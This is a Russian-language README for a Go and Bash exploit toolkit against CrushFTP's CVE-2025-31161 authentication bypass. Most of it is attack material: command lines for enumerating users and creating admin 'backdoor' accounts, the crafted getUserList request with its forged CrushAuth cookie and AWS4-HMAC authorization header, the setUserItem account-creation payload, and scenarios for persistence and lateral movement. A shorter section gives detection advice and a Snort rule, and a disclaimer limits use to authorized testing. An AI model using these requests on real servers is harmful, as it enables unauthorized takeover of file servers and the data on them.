Обход аутентификации CrushFTP - CVE-2025-31161

Комплексный набор инструментов для эксплуатации CVE-2025-31161 — уязвимости обхода аутентификации в CrushFTP, позволяющей создавать несанкционированные учётные записи.

🔍 Что такое CVE-2025-31161?

CVE-2025-31161 — критическая уязвимость обхода аутентификации в CrushFTP, позволяющая злоумышленникам создавать несанкционированные учётные записи без надлежащей аутентификации. Уязвимость присутствует в функциональности управления пользователями веб-интерфейса.

Технические детали

• CVSS Score: TBD
• Affected Software: CrushFTP Web Interface
• Attack Vector: Network
• Authentication Required: None
• Impact: Полная компрометация системы через создание несанкционированных учётных записей

🚀 Возможности

• Мультиязычная поддержка: реализации на Go и Bash
• Умное обнаружение уязвимости: автоматическая проверка цели на уязвимость перед эксплуатацией
• Перечисление пользователей: вывод списка существующих пользователей на уязвимой цели
• Создание пользователей: создание новых административных учётных записей
• Интерактивный режим: запрос учётных данных только после подтверждения уязвимости цели
• Короткие флаги: быстрый доступ с помощью флагов -t, -p, -tu
• Поддержка нестандартных портов: настраиваемый порт для различных сценариев развёртывания
• Обучающая направленность: разработано для CTF-задач и исследований в области безопасности

📁 Структура репозитория

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # Эта документация
├── cve-2025-31161.go        # Реализация на Go (рекомендуется)
├── cve-2025-31161.sh        # Реализация на Bash
└── LICENSE                  # Лицензия MIT

🛠️ Установка и требования

Предварительные требования

Для версии на Go (рекомендуется)

# Установите Go (если ещё не установлено)
sudo apt install golang-go
# или
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Для версии на Bash

# Требуется curl (обычно предустановлен)
sudo apt install curl

Быстрая настройка

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Использование

Версия на Go (рекомендуется)

Список пользователей

# Базовое использование с короткими флагами
go run cve-2025-31161.go -t example.com -lu

# С нестандартным портом
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Полные имена флагов
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Добавление нового пользователя

# Создание нового пользователя (будет запрошено имя и пароль)
go run cve-2025-31161.go -t example.com -au

# С указанием целевого пользователя (по умолчанию: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Полные имена флагов
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Версия на Bash

Список пользователей

# Базовое использование
./cve-2025-31161.sh -t example.com -lu

# С нестандартным портом
./cve-2025-31161.sh -t example.com -p 8080 -lu

Добавление нового пользователя

# Создание нового пользователя
./cve-2025-31161.sh -t example.com -au

# С нестандартными настройками
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Допустимые флаги

Примеры использования

# Пример 1: Перечисление пользователей на цели
go run cve-2025-31161.go -t ftp.example.htb -lu

# Пример 2: Создание бэкдор-учётной записи
go run cve-2025-31161.go -t ftp.example.htb -au
# Затем введите: username: backdoor, password: P@ssw0rd123

# Пример 3: Нестандартный порт с перечислением пользователей
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# Просмотр справки
./cve-2025-31161.sh --help

🔄 Принцип работы

flowchart TD
    A[Start Exploit] --> B[Check Target Connectivity]
    B --> C{Target Reachable?}
    C -->|No| D[Exit: Connection Failed]
    C -->|Yes| E[Send getUserList Request]
    E --> F{Response Contains OK?}
    F -->|No| G[Exit: Not Vulnerable]
    F -->|Yes| H[Target is Vulnerable!]
    H --> I{Mode Selected?}
    I -->|List Users -lu| J[Parse XML Response]
    J --> K[Display User List]
    K --> L[Exit: Success]
    I -->|Add User -au| M[Prompt for Username]
    M --> N[Prompt for Password]
    N --> O[Send Warm-up Request]
    O --> P[Craft User Creation Payload]
    P --> Q[Send setUserItem Request]
    Q --> R{User Created Successfully?}
    R -->|Yes| S[Success: Account Created]
    R -->|No| T[Failed: Exploitation Failed]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Описание эксплуатации

Шаг 1: Обнаружение уязвимости

Скрипт сначала отправляет запрос getUserList, чтобы проверить, уязвима ли цель:

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Если ответ содержит <response_status>OK</response_status>, цель уязвима.

Шаг 2a: Перечисление пользователей (режим -lu)

При использовании флага -lu скрипт анализирует XML-ответ и извлекает имена пользователей:

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Вывод:

[+] Users:
  - ben
  - crushadmin
  - default

Шаг 2b: Создание учётной записи (режим -au)

При использовании флага -au скрипт отправляет запрос setUserItem с вредоносной XML-нагрузкой:

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Шаг 3: Проверка

Скрипт проверяет наличие <response_status>OK</response_status> в ответе, чтобы подтвердить успешное создание пользователя.

⚠️ Детали уязвимости

Корневая причина

Уязвимость возникает из-за недостаточной проверки аутентификации в функциональности управления пользователями веб-интерфейса CrushFTP. Приложение принимает запросы на создание пользователей без надлежащей проверки прав вызывающей стороны.

Оценка воздействия

• Конфиденциальность: ВЫСОКИЙ — несанкционированный доступ к файловой системе
• Целостность: ВЫСОКИЙ — возможность изменения/загрузки файлов
• Доступность: СРЕДНИЙ — потенциальное исчерпание ресурсов

Сценарии атак

1. Первоначальный доступ: создание бэкдор-учётных записей для постоянного доступа
2. Повышение привилегий: создание учётных записей уровня администратора
3. Утечка данных: доступ к конфиденциальным файлам через FTP-интерфейс
4. Горизонтальное перемещение: использование скомпрометированного FTP-сервера как точки перехода

🛡️ Обнаружение и устранение

Методы обнаружения

• Мониторинг необычных запросов setUserItem в веб-логах
• Проверка новых учётных записей, созданных вне обычных процессов
• Внедрение механизмов обнаружения аномалий для шаблонов обхода аутентификации

Стратегии устранения

1. Немедленно: заблокировать доступ к конечным точкам /webinterface/function/
2. Краткосрочно: обновить CrushFTP до исправленной версии
3. Долгосрочно: внедрить надлежащие средства контроля аутентификации

Сетевые сигнатуры

# Пример правила Snort/Suricata
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Учебные сценарии

CTF-сценарии

• Безопасность веб-приложений: понимание уязвимостей обхода аутентификации
• Тестирование на проникновение: демонстрация реальных техник эксплуатации
• Учения Red Team: имитация атак в стиле APT

Учебные цели

• Понимание манипуляции HTTP-запросами
• Техники XML-инъекций
• Методологии обхода аутентификации
• Разработка эксплойтов на нескольких языках программирования

🚨 Юридический отказ от ответственности

⚠️ ВАЖНО: Этот инструмент предназначен для:

• Образовательных целей
• Авторизованного тестирования на проникновение
• CTF-соревнований
• Исследований безопасности в контролируемой среде

НЕ ИСПОЛЬЗУЙТЕ в системах без явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен и может повлечь серьёзные правовые последствия.

🤝 Вклад в проект

Приветствуются любые вклады! Пожалуйста:

1. Сделайте форк репозитория
2. Создайте ветку для функции (git checkout -b feature/improvement)
3. Зафиксируйте изменения (git commit -am 'Add new feature')
4. Отправьте в ветку (git push origin feature/improvement)
5. Создайте Pull Request

Рекомендации по разработке

• Следуйте существующему стилю кода
• Добавляйте подробные комментарии
• Тестируйте в различных целевых средах
• Обновляйте документацию для новых функций

📝 История версий

📚 Ссылки

• Детали CVE-2025-31161
• Официальный сайт CrushFTP
• OWASP Authentication Bypass
• Оригинальное исследование от Immersive Labs

📧 Контакты

По вопросам, предложениям или проблемам безопасности, пожалуйста, создайте issue в этом репозитории.